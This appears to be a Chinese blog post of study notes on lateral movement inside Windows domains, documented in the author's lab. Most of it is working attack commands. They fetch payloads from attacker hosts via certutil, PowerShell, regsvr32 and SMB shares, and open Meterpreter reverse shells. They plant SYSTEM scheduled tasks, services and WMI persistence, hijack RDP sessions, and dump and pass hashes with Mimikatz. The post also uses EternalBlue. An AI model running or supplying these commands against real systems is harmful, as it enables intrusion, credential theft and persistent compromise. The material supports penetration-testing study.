内网横向移动|内网渗透体系建设

内网横向移动|内网渗透体系建设

今晚总算是把这一章写完了(但是相比前两章这里明显在很多地方偷懒了), 从起笔创建这个md文档到现在应该已经快一周了, 有很多内容在这里我也都没有进行实操只是记录了相关的命令, 其他的还好, 几乎就是直接照着运行命令就行, 不过WMI事件订阅是相对比较好用的方法了(隐蔽性较好另外可以用于横向也可以用于维权),还是很值得去做一下的(虽然说我这里没做).

感觉有好几个点是值得去实操再做一下的, 但是这段时间低效率的内网学习已经让我有很难受了, 所以想要快点让横向的学习随着我低迷的心态告一段落, 于是即使明天早上满课的情况下依旧坚持马马虎虎的敲完了这篇相比之前水了很多的文章以便开始我的一些新的学习计划任务, 关于没完成的内容就在以后有时间的话在回来做一下吧。

匆匆折下内网横向学习书本的印记, 不是为了离开, 只是想要以新的心态继续更加深入的学习。

1 横向移动中的文件传输

1.1 通过网络共享

net user    #获取系统默认开启的网络共享

image-20221019144630722

可以看到默认开启的共享有三个, 其中主要值得我们注意的是IPC$共享。

IPC是共享命名管道的资源, 为了进程间通信而开放的命名管道, 通过提供的用户名和口令, 连接双方可以建立安全的通道并在这个通道内进行加密数据交换, 从而实现对远程计算机的远程访问。

通过建立IPC$连接, 不仅可以进行文件共享操作, 还可以实现其他远程管理操作, 如列出远程主机进程, 在远程主机上创建计划任务, 在远程主机上创建系统服务

建立IPC$连接的条件:

  1. 远程主机开启IPC$连接
  2. 远程主机开放139或445端口
net use \\192.168.30.10\IPC$ "adminDC#@123" /user:"administrator"   # 连接远程主机(DC)的IPC$
#net use \\<IP>\IPC$ <password> /user:<username>

dir \\192.168.30.10\C$  #列出远程主机的C盘共享目录

image-20221019150443629

1.2 搭建SMB服务器

SMB的介绍见基于SMB(Server Message Block,服务消息块)协议发现主机

实战中可以在控制的靶机上建立SMB服务将后续需要使用的攻击载荷放到SMB服务的共享目录下, 通过指定UNC路径实现攻击载荷的加载。注意要使用SMB匿名共享且搭建的SMB服务能被其他域内主机访问到。

在Linux可以通过Impacket项目的smbserver.py来搭建SMB服务器

python3 smbserver.py evilsmb `pwd` -smb2support -username 1 -password 1

image-20221019235836704

开启服务之后到靶机中直接执行命令测试, 成功访问到kali中开启的smb服务:

image-20221020002440284

原本想直接在Windows运行的, 但是因为挂了靶机网卡的攻击机已经开启了445的smb服务, 也不知道net use怎么指定端口, 所以最后就没在windows运行smbserver.py

最后就是, 如果靶机作为跳板机之后进入的内网里面都不可出网就可以通过建立代理通道的方式将kali中的smb服务映射到跳板机上(但是这好像回到了上面的问题,默认跳板机应该是开启了smb服务的,那么这时候如果权限不足就只能使用别的端口作为服务端口就需要指定net use的连接端口了), 或者直接把payload1放到跳板机上然后内网主机直接访问跳板机开启的smb服务

image-20221019235806744

1.3 通过windows自带工具

  1. Certutil

    certutil -urlcache -split -f http://192.168.92.130:81/flag.txt C:\temp\end

    这个方法好像不大可行, 操作的时候直接就寄了, 直接被defender发出严重警报了(flag.txt的内容只是flag{test})

    image-20221020004707770

    image-20221020004604076

  2. BITSAdmin

    bitsadmin /transfer test http://192.168.92.130:81/flag.txt C:\temp\end

    这个的执行就没什么问题了, 测试可用

    image-20221020004841747

  3. Powershell

    powershell.exe -exec bypass -Command "(New-Object New Net.WebClient).DownloadFile('http://192.168.92.130:81/flag.txt','C:\temp\flag.txt')"
    
    powershell.exe -exec bypass -Command "(New-Object New Net.WebClient).DownloadFile('','SavePath')"

    Powersehll能下载文件可以说是意料之中的了, 毕竟之前的IEX加载ps代码就是通过远程下载的, 这下载方式执行正常

    image-20221020005303512

2 创建计划任务

2.1 常规利用流程

net use \\<IP>\IPC$ <password> /user:<username>   # 和目标主机建立IPC连接

schtasks /Create /S <TargetIP> /TN Backdoor /SC minute /MO 1 /TR <PayloadPath> /RU System /F    #在目标主机添加计划任务
# /S  指定要连接的系统
# /TN 指定要创建的计划任务名称
# /SC 指定计划任务执行频率
# /MO 指定计划任务周期
# /TR 指定计划任务运行的程序路径
# /RU 指定计划任务运行的用户权限
# /F  如果指定的任务已存在,则强制执行
schtasks /RUN /S <TargetIP> /I /TN Backdoor   #立即启动计划任务
schtasks /Delete /S <TargetIP> /TN Backdoor /F    #删除计划任务

net use \\192.168.30.10\IPC$ <password> /user:<username>
shell schtasks /Create /S 192.168.30.10 /TN Backdoor /SC minute /MO 1 /TR C:\reverse_http_192.168.30.13_4444.exe /RU System /F
shell copy C:\Temp\reverse_http_192.168.30.13_4444.exe \\192.168.30.10\C$\reverse_http_192.168.30.13_4444.exe
  1. 利用已建立的IPC连接上传payload。
  2. 利用已建立的IPC连接或指定用户凭据的方式在远程主机上创建计划任务。

2.2 UNC路径加载执行

schtasks /Create /S <TargetIP> /TN Backdoor /SC minute /MO 1 /TR \\<SMBServer>\<SMBServerName>\<PayloadPath> /RU System /F  /U "<SMBUsername>" /P "<SMBPassword>" #在目标主机添加计划任务并直接指定UNC路径和smb服务登录凭据

3 利用系统服务

3.1 创建远程服务

sc \\<TargetIP> create <ServerName> binpath= "cmd.exe /k <PayloadPath>" #创建远程服务

sc \\<TargetIP> start <ServerName>  #开启服务

sc \\<TargetIP> delete <ServerName> #删除服务

3.2 SCShell

SCShell.exe 192.168.30.10 XblAuthManager "C:\Windows\System32\cmd.exe /c calc" "h0cksr.bxs" "administrator" "adminDC#@123"
# SCShell.exe <TargetIP> <ServiceName> <PayloadPath> <Domain> <Username> <Password>

#msf生成一个攻击服务
msfconsole
use exploit/multi/script/web_delivery
set payload payload/windows/x64/meterpreter/reverse_tcp
set lhost 192.168.92.128    #msf服务ip
set lport 4444  #msf监听反弹shell端口
set target Regsvr32
run #运行后任务会自动转到后台, 可以通过jobs查看

#靶机上执行下面命令加载msf指定的payload后会反弹shell
regsvr32 /s /n /u /i:http://192.168.92.128:8080/gDvWiNXOAjC.sct scrobj.dll

#指定远程服务执行命令
SCShell.exe 192.168.30.10 XblAuthManager "C:\Windows\System32\cmd.exe /c regsvr32 /s /n /u /i:http://192.168.92.128:8080/gDvWiNXOAjC.sct scrobj.dll" "h0cksr.bxs" "administrator" "adminDC#@123"

SCShell 利用系统服务完成无文件横向移动, 和传统创建远程服务不同, SCShell的利用过程如下:

  1. SCShell利用用户提供的凭据, 通过ChangeServiceConfigA AP

  2. 修改远程主机上的服务配置

    SCShell类似的还有SharpNoPSExec, 不同之处是SCShell是直接指定服务, 而SharpNoPSExec会查询全部服务然后选择一个启动类型为禁用或手动当前为停止状态并且具有LocalSystem权限的服务

  3. 将服务二进制路径名改为指定程序或攻击载荷

  4. 重启服务

  5. 回复服务的二进制文件原始路径

3.3 UACRemote Restrictions(远程限制)

简单说就是微软在Windows Vista之后为了更好管理和保护本地管理员组成员的用户, 引入了远程限制, 此机制有助于防止本地恶意软件以管理员权限远程执行(被通过远程的方式调用), 所以只允许RID 500(administrator)这个本地管理员组用户, 其他的用户均会拒绝访问(域管理员用户不受限)。

PsexecWMIWinRMPTH哈希传递都只能使用RID 500(administrator)本地管理员用户。

可以通过执行下面命令后重启系统来关闭远程限制

reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f

4 远程桌面利用

微软从Windows Server 2000开始支持RDP协议, 远程桌面协议默认监听TCP 3389端口

4.1 远程桌面的确定和开启

reg query "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections   # 查询是否已开启远程桌面,显示0x0则已开启,0x1表示未开启

reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f    # 开启远程桌面连接

reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v UserAuthentication /t REG_DWORD /d 0   #关闭"仅允许运行使用网络级别身份验证的远程桌面的计算机连接"(鉴权)

netsh advfirewall firewall add rule name="Remote Desktop" protocol=TCP dir=in localport=3389 action=allow # 设置防火墙放行3389端口

4.2 RDP Hijacking

tscon <ID>    #SYSTEM绕过身份验证直接切换其他用户切换会话

如果已获得靶机SYSTEM权限就可以劫持其他用户的RDP会话, 在未授权情况下登入目标系统(即使该用户的会话已断开), 这种攻击方法就是RDP Hijacking(桌面劫持)

tscon命令提供切换用户会话的功能, 正常情况下切换用户会话就需要提供切换目标的登录密码, 但是SYSTEM就绕过了这个验证的步骤.

所以攻击步骤如下:

  1. 登录一个一般权限用户的RDP
  2. 使用工具提权为SYSTEM
  3. 执行query user查看主机会话记录
  4. SYSTEM权限执行tscon <ID>切换到另一个用户的RDP会话

4.3 SharpRDP

SharpRDP工具可以通过RDP协议在远程主机执行系统命令, 且不需要GUI客户端, 使用条件:

  1. 远程主机开启远程桌面功能
  2. 防火墙关闭/放行3389端口

5 PsExec 远程控制

PsExec.exe -accepteula \\<TargetIP> -u <SubDomain>\<Username> -p "<Password>" -s cmd.exe
# -accepteula 禁止弹出许可对话框
# -u 指定远程用户主机名
# -p 指定用户密码
# -s 以SYSTEM权限,未指定的话就是以管理员权限运行

PsExec.exe -accepteula \\<TargetIP> cmd.exe   #如果之前已经通过net use建立了IPC连接就不需要指定账号密码了

[psexec](https://learn.microsoft.com/zh-cn/sysinternals/downloads/psex ec)是微软官方提供的Windows远程控制工具, 可以根据凭据在远程系统上执行管理操作, 工具使用原理如下(和SCShell差不多):

  1. 通过SMB连接到Admin$共享
  2. 释放psexesvc.exe二进制文件
  3. 注册一个PSEXESVC服务
  4. 客户端执行命令时, PSEXESVC服务启动响应进程执行命令并回显结果
  5. 运行结束后将PSEXESVC服务删除

使用条件:

  1. 远程主机开启Admin$共享
  2. 远程主机关闭防火墙/放行445端口

6 WMI 的利用

WMI(Windows Management Instrumentation,Windwos 管理规范)是一项核心的Windows管理技术, 用户可以通过WMI管理本地和远程计算机。Windows为远程传输WMI数据提供了两个可用协议, 即为DCOM(分布式对象组件模型), 和WinRM(Windows远程管理), 使得WMI对象的查询、事件注册、WMI类方法执行和类创建操作都能远程执行。

  1. 在远程主机上创建进程(Win32_Process类的Create方法)
  2. 在远程主机安装恶意msi(Win32_Product类的Install方法)
  3. 远程部署WMI订阅事件

WMI横向条件:

  1. 远程主机的WMI服务为开启状态(默认开启)
  2. 远程主机防火墙关闭/放行135端口(WMI管理的默认端口)

6.1 常规利用方法

  1. 执行远程查询

    wmic /node: /user: /password: process list brief   #查询远程主机的进程信息
  2. 创建远程进程

    wmic /node: /user: /password: process create "cmd.exe /c "    #远程主机上创建新进程

    WMIC创建进程执行命令的方法是没有回显的, 可以将结果重定向输出到一个文件中日韩进行文件读取

  3. 远程安装MSI文件

    msfvenom -p windows/x64/meterpreter/reverse_http LHOST=192.168.92.130 LPORT=80 -f msi -o reverse_http_80.msi #生成msi的paylaod
    
    python3 msbserver.py evilsmb pwd -smb2support    #在kali开启一个smb服务使paylaod被访问到
    
    wmic /node: /user: /password: product call install PackageLocation="\\\evilsmb\reverse_http_80.msi" #靶机远程获取kali的smb服务中的payload进行加载

6.2 常见利用工具

  1. Wmiexec

    python3 wmiexec.py H0CKSR/Administrator:adminDC#\@123@192.168.30.10  #从远程主机获取交互式的shell
    python3 wmiexec.py /:@

    [Impacket]()项目的wmiexec.py能够以全交互或半交互的方式通过WMI在远程主机执行命令, 条件是需要远程主机开放135445端口, 这两个端口分别用于WMI管理执行命令(135)和将命令执行结果返回或搭建交互管道(445)

  2. Invoke-WMICommand

    IEX(New-Object Net.Webclient).DownloadString('http://IP:PORT/Invoke-WMICommand.ps1') #加载远程脚本
    $User = 'H0CKSR\Administrator' #指定远程系统用户名
    $Password = ConvertTo-SecureString -String 'adminDC#@123' -AsPlainText -Force    #指定用户密码
    $Cred = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList $User,$Password #将用户名和密码整合以便导入Credential
    $Remote = Invoke-WmiCommand -Payload {ipconfig} -Credential $Cred -ComputerName '192.168.30.10'  #指定远程主机IP和要执行的命令
    $Remote.PayloadOutput    #执行命令并输出结果
    整合一下到一句话里面就是:
    powershell.exe -exec bypass -Command "IEX(New-Object Net.Webclient).DownloadString('http://IP:PORT/Invoke-WMICommand.ps1');$User = 'H0CKSR\Administrator';$Password = ConvertTo-SecureString-String 'adminDC#@123' -AsPlainText -Force;$Cred = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList $User,$Password;$Remote = Invoke-WmiCommand -Payload {ipconfig} -Credential $Cred -ComputerName '';$Remote.PayloadOutput"

    Invoke-WMICommand.ps1PowerSploite项目中的一个脚本可以通过powersehll调用wmi执行命令(Powershell内置的Invoke-WMIMethod也可以远程执行命令或程序), 但是没有执行结果的回显

6.3 WMI 事件订阅的利用

触发事件的具体条件 -- 事件过滤器

对指定事件做出响应 -- 事件消费者

所有的事件过滤器都被存储为一个ROOT\subscription:__EventFilter对象的实例, 并在特定事件发生时执行任意代码或系统命令。

使用WMI事件消费类的ActiveScriptEventConsumerCommandLineEventConsumer, 可以在远程主机上执行任何攻击payload。

该技术既可以用于持久化也可以用于横向移动, 且需要提供远程主机的管理员权限的用户凭据。

  1. 手动利用

    1. 整合PSCredential用于后续过程验证
    2. 设置攻击目标和其它公共参数
    3. 在远程主机上部署事件过滤器
    4. 部署事件消费者
    5. 将创建的过滤器和事件消费者绑定在一起

    具体的代码示例是用powershell脚本写的, 直接找demo或者看下面的项目工具脚本吧

  2. Sharp-WMIEvent

    Sharp-WMIEvent -Trigger Interval -IntervalPeriod 60 -Command "cmd.exe /c \\IP\evilsmb\reverse_tcp.exe" -FilterName  -ConsumerName    #本机添加订阅事件(用于维权)
    
    Sharp-WMIEvent -Trigger Interval -IntervalPeriod 60 -ComputerName  -Domain  -UserName  -Password  -Command "cmd.exe /c \\IP\evilsmb\reverse_tcp.exe"

    Sharp-WMIEvent

    1. 开启SMB服务共享放置payload
    2. 跳板机上使用Sharp-WMIEvent即可创建一个随机命名的永久事件订阅,每隔60s执行一个smb的payload

7 DCOM的利用

这部分的实操发现默认好像基本都不支持对应的COM组件顺利运行, 所以这里的实操截图就比较少了

7.1 COM和DCOM

  1. COM(组件对象模型)

    COM由一组构造规范和组件对象组成。COM组件对象通过接口描述自身,组件提供的服务都通过接口公开。接口就是一组函数指针表。每个指针初始化指向某个具体的函数体,一个组件对象实现的接口数量没有限制。COM指定了一个对象模型和编程要求,使COM对象能够与其他对象交互(交互的不同对象可以跨进程和跨主机)

    CLSID

    在前面potato提权部分有说到寻找可用的COM对象,指定COM对象的方式就是指定COM对象的CLSID,这个CLSID是什么呢?

    Windows中每个COM对象都由一个128位二进制标识符标识(GUID)

    1. 当GUID用于标识COM对象的时候就称为CLSID(类标识符)
    2. 当GUID用于标识接口时称为IID(接口标识符)

    一些CLSID还有ProgID方便记忆

  2. DCOM(分布式组件对象模型)

    DCOM是基于COM的一系列概念和程序接口支持组件之间跨主机通信。

    DCOM是COM的拓展, 允许应用程序实例化和访问远程主机上的COM对象的属性和方法。

    DCOM通过RPC技术将COM的功能拓展到本地之外,因此远程主机上托管COM服务端的软件可以通过PRC技术想客户端公开其方法。

7.2 通过DCOM横向移动

Get-CimInstance Win32_DCOMApplication   #列出计算机上全部的DCOM组件()

DCOM组件公开的接口中可能包含不安全的方法

MMC20.Application提供的ExecuteShellCommand方法可以在单独的进程中运行指定的程序或命令

目前常用的DCOM组件:

MMC20.Application,ShellWindows,Excel.Application,ShellBrowserWindow...

与远程主机的DCOM交互的条件:

  1. 拥有管理员权限的powershell
  2. 远程主机防火墙关闭

image-20221024172530990

  1. MMC20.Application

    python3 smbserver.py evilsmb pwd -smb2support -username 1 -password 1
    
    powershell.exe -exec bypass -Command "$com = [activator]::CreateInstance([type]::GetTypeFromProgID('MMC20.Application','192.168.92.190'));$com.Document.ActiveView.ExecuteShellCommand('cmd.exe',$null,'/c\\192.168.92.128\evilsmb\reverse_http_80.exe','Minimized')"
    
    powershell.exe -exec bypass -Command "$com = [activator]::CreateInstance([type]::GetTypeFromProgID('MMC20.Application',''));$com.Document.ActiveView.ExecuteShellCommand('cmd.exe',$null,'/c\\\evilsmb\reverse_http_80.exe','Minimized')"

    MMC20.Application对象的Document.ActiveView下存在一个ExecuteShellCommand方法可以启动子进程并运行执行的程序或命令

    1. kali上运行smbserver.py服务并防止payload
    2. 运行powershell加载COM组件方法

    适用于WIN7以上的版本系统

    但是我本地执行的时候并没有成功(不管是DC还是下属的域内主机),原因应该就是没有开启对于的DCOM服务支持吧

    image-20221024180538391

    之后我便在ps中执行了一下结果如下:

    image-20221024181230706

    image-20221024183613261

  2. ShellWindows

    $com = [activator]::CreateInstance([type]::GetTypeFromCLSID('9BA05972-F6A8-11CF-A442-00A0C90A8F39','127.0.0.1'));
    
    $com.item().Document.Application.ShellExecute('cmd.exe','/c calc.exe','C:\Windows\System32',$null,0)

    ShellWindows组件提供了Document.Application.ShellExecute方法可以启动子进程来运行指定的程序或系统命令

    ShellWindows对象没有ProgID, 可以通过工具oleviewdotnet根据组件名获取到对象的CLSID,然后在ps中通过GetTypeFromCLSID函数创建对象实例。

    image-20221024184108056

    $com = [activator]::CreateInstance([type]::GetTypeFromCLSID('9BA05972-F6A8-11CF-A442-00A0C90A8F39','127.0.0.1'));
    
    $com.item().Document.Application | Get-Member

    image-20221024184334894

    本地连接正常, 但是远程连接失败了, 后面使用本地ip127.0.0.1测试一下吧

    $com = [activator]::CreateInstance([type]::GetTypeFromCLSID('9BA05972-F6A8-11CF-A442-00A0C90A8F39','127.0.0.1'));
    $com.item().Document.Application.ShellExecute('cmd.exe','/c calc.exe','C:\Windows\System32',$null,0);

    image-20221024195006858

    image-20221024195940697

    image-20221024195603843

  3. ShellBrowserWindow

    $com = [activator]::CreateInstance([type]::GetTypeFromCLSID('C08AFD90-F2A1-11D1-8455-00A0C91F3880','127.0.0.1'));
    $com.Document.Application.ShellExecute('cmd.exe','/c calc.exe','C:\Windows\System32',$null,0);

    ShellBroswerWindow中也存在一个Document.Application.ShellExecute方法,和ShellWindows一样, 但不会创建新进程, 而是通过已有的explorer.exe来托管子进程。该方法只适用于Win10和WinServer2012等系统版本

    image-20221024200321933

    image-20221024200549274

8 WinRM 的利用

WinRM通过WS-Management协议(用于远程管理软硬件的web协议)使用5985端口实现远程连接, 在开启WinRM服务后防火墙会自动方向相关端口从而让远程主机对其进行远程管理(WinServer2008以上的服务器中WinRM才会自启动)。使用WinRM横移需要有远程主机的管理员凭据信息(账号密码)。

8.1 通过WinRM执行远程命令

Windows自带的远程管理命令行工具:

  1. Winrs

    Windows远程管理提供的客户端程序, 运允许通过提供的用户凭据, 在允许WinRM的服务器上执行系统命令。要求双方都安装WinRM服务,使用WS-Management.

  2. Winrm(Winrm.cmd)

    内置管理命令行工具, 允许管理员配置本机的WinRM服务

    默认无法通过Winrm连接到目标系统,

    1. 传输为HTTPS或目标位于TrustedHosts列表中并且提供了显式凭据

    2. 使用winrm.cmd配置TrustedHosts(列表中的计算机可能未经过身份验证,相关设置方法通过winrm help config查看)

      winrm set winrm/config/client @{TrustedHosts=''}    #将目标主机添加到TrustedHosts列表
      
      powershell -exec bypass -Command "Set-Item WSMan:localhost\client\trustedhosts -value *"  #通过powersehll将所有主机加入到TrustedHosts
  3. Winrs

    powershell -exec bypass -Command "Set-Item WSMan:localhost\client\trustedhosts -value *"
    
    winrs.exe -r:http://192.168.30.14:5985 -u:administrator -p:adminDC#@123 "whoami"
    
    #winrs.exe -r:http://:5985 -u:administrator -p: ""  #执行命令

    在靶机执行命令可以看到Winrs error:WinRM 客户端无法处理该请求这就是默认没有修改TrustedHosts情况下会出现的问题

    image-20221024221535470

    在攻击机的管理员命令行执行命令可以看到会显示启动WinRM服务的确认, 然后又出现TrustedHosts的修改确认

    powershell -exec bypass -Command "Set-Item WSMan:localhost\client\trustedhosts -value *"

    image-20221024221437272

    然而再执行winrs也还是一样的报错,然后我就去了靶机也执行了一遍这个命令但是最后对结果并没有什么影响(应该是靶机没有开启WinRM?这时候对这些服务不够了解找不出原因就显得有带你尴尬了。。。)

  4. Winrm.cmd

    winrm.exe invoke create wmicimv2/win32_process -SkipCAcheck -skipCNcheck @{commandline=""} -r:http://:5985 -u:administrator -p:adminDC#@123

    Winrm.cmd允许WMI对象通过WinRM传输进行远程交互,在本地枚举WMI对象实例或调用WMI类方法。通过调用Win32_Process类中的Create方法来创建远程连接。

8.2 通过WinRM获取交互式会话

  1. Powersehll下的利用

    $User = 'H0CKSR\Administrator' #指定远程系统用户名
    $Password = ConvertTo-SecureString -String 'adminDC#@123' -AsPlainText -Force    #指定用户密码
    $Cred = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList $User,$Password #将用户名和密码整合以便导入Credential
    $Sess = New-PSSession -Name WinRMI -ComputerName  -Credential $Cred -Port 5985
    Invoke-Command -Session $Sess -ScriptBlock {  }
    
    # -Name 指定创建的会话名称
    # -ComputerName 指定要连接的主机IP或主机名
    # -Credential 指定有权连接到直接的用户凭据
    # -Port 指定WinRM工作端口

    PowerShell的远程传输协议基于WinRM规范, 同时提供了强大的远程管理功能。

    Enter-PSSession的PowerShell Cmdlet可以启动与远程主机的会话。在会话交互期间, 用户输入的命令在远程计算机上运行, 就像直接在远程计算机上输入一样。

    跳板机上执行下面命令

    1. 跳板机与远程主机建立会话连接

      $User = 'H0CKSR\Administrator' #指定远程系统用户名
      $Password = ConvertTo-SecureString -String 'adminDC#@123' -AsPlainText -Force #指定用户密码
      $Cred = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList $User,$Password  #将用户名和密码整合以便导入Credential
      New-PSSession -Name WinRM1 -ComputerName  -Credential $Cred -Port 5985
      # -Name 指定创建的会话名称
      # -ComputerName 指定要连接的主机IP或主机名
      # -Credential 指定有权连接到直接的用户凭据
      # -Port 指定WinRM工作端口

      在跳板机启动一个名为WinRM1与域内远程主机的交互式会话

    2. 跳板机在ps中执行Get-PSSession命令查看当前已创建的PSSession会话

    3. 跳板机通过ps命令选中任意一个会话进入交互模式

      第一种就是获取交互:

      Enter-PSSession -Name WinRM1  

      第二种就是直接执行命令来加载payload(也是ps代码, 利用的方式看上面的demo)

  2. Evil-Winrm

    Evil-Winrm就是基于WinRM Shell的渗透测试框架, 用户只需要提供目标地址,用户名,密码或用户哈希即可进行攻击

9 哈希传递攻击(PTH)

这里直接留几个文中提到的进行PTH攻击的工具吧

  1. Mimikatz
  2. Impacket
  3. CrackMapExec
  4. Powershell
  5. Evil-Winrm
  6. Metesploite

9.1 哈希传递攻击的利用

  1. 利用mimikatz进行PTH

    Mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords full" exit #抓取用户哈希
    
    Mimikatz.exe "privilege::debug" "sekurlsa::pth /user:Administrator /domain:h0cksr.bxs /ntlm:9d4dc8ae92b6e52504cca4a930ca50ec"

    image-20221026000104740

    执行之后可以看到虽然执行whoami显示是h0cksr但是不管是列出域控的目录还是域内的另一台下属主机都可以成功, 而非PTH攻击的普通CMD窗口是没有权限列出域内另一台下属主机目录的

  2. 利用Impacket 进行PTH

    python smbexec.py -hashes ::9d4dc8ae92b6e52504cca4a930ca50ec h0cksr.bxs/administrator@192.168.30.10
    # python smbexec.py -hashes : /@

    为了方便使用我还是直接将smbexec.py使用pyinstaller打包成exe文件后使用(此外还可以使用psexec.py, wmiexec.py进行PTH横向)

    image-20221026011659580

    甚至可以看到权限已经是System了

    image-20221026011741239

    对域控进行PTH攻击成功了, 但是想要使用administrator这个域管用户进行PTH横向到域内另一台主机的时候就失败了

    [-] SMB SessionError: STATUS_OBJECT_NAME_NOT_FOUND(The object name is not found.)

    image-20221026011909044

9.2 利用PTH登录远程桌面

条件:

  1. 远程主机开启受限管理员模式
  2. 用于远程桌面的用户位于远程主机的管理员组中(受限管理员模式只对管理员组用户有效,如果获取哈希的用户属于远程桌面用户组就无法进行哈希传递攻击)
  3. 拿到远程主机上能够登录的用户的哈希

WinServer2012 R2开始采用新版RDP, 支持受限管理员模式, 在该模式下才可以使用哈希进行哈希传递登录而不需要输入密码(在Win8.1WinServer2012 R2上默认开启)

没有开启受限管理员的主机可以通过下面命令开启:

reg add HKLM\System\CurrentControlSet\Control\Lsa /v DisableRestrictedAdmin /t REG_DWORD /d 00000000 /f
  1. 查看主机受限模式开启状态

    reg query HKLM\System\CurrentControlSet\Control\Lsa /v DisableRestrictedAdmin    #输出为0则已启动,为1则未启动

    image-20221026022000039

    image-20221026025344580

  2. 远程主机开启受限管理员模式的话就可以通过Mimikatz进行攻击

    Mimikatz.exe "privilege::debug" "sekurlsa::pth /user:Administrator /domain:h0cksr.bxs /ntlm: \"/run:mstsc.exe /restrictedadmin\""
    
    Mimikatz.exe "privilege::debug" "sekurlsa::pth /user:Administrator /domain:h0cksr.bxs /ntlm:9d4dc8ae92b6e52504cca4a930ca50ec \"/run:mstsc.exe /restrictedadmin\""

    原理:

    哈希传递成功后执行命令mstsc.exe /restrictedadmin以受限管理员模式运行远程桌面客户端从而实现不输入密码的远程登录。

即使修改了注册表同时运行起了远程桌面, 但是连接远程主机的时候还是失败了(后面发现是远程DC主机没开启远程桌面, 然后按照4.1 远程桌面的确定和开启操作了一下之后发现还是不行,显示连接失败, 因为重启DC要花挺长时间的所以这里就不重启演示了)

image-20221026025612983

10 EhernalBlue(永恒之蓝)

msfconsole
use auxiliary/scanner/smb/smb_ms17_010  #这个只是检测模块,用于检查是否存在漏洞
set rhosts 192.168.30.1/24
set threads 10
run

use exploit/windows/smb/ms17_010_eternalblue
set payload payload/windows/x64/meterpreter/reverse_tcp
set rhosts 192.168.92.198
set lhost 192.168.92.128
set lport 444

永恒之蓝的原理不再多说了, 主要就是Windows SMB v1服务器错误处理来自远程的特制数据包从而产生漏洞, 测试的时候如果发现有445端口开启可以流程化走一下看看有没有漏洞

此外类似原理的还有SM08-067, CVE-2019-0807等均可用于横向

因为我这里kali是在92网段, 而我又只将一台Win10的主机加了kali使用的net网卡并且分配到92网段, 所以kali只能对这一台Win10主机进行检测, 结果显然是没有漏洞的(之后我又开了Win7的虚拟机同样使用net网卡加到92网段下面使用模块攻击也是没什么反应)

image-20221026030329688

image-20221026030840372

image-20221026031329779

image-20221026031345180

2022_10_26(第十周周三) 03:45

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇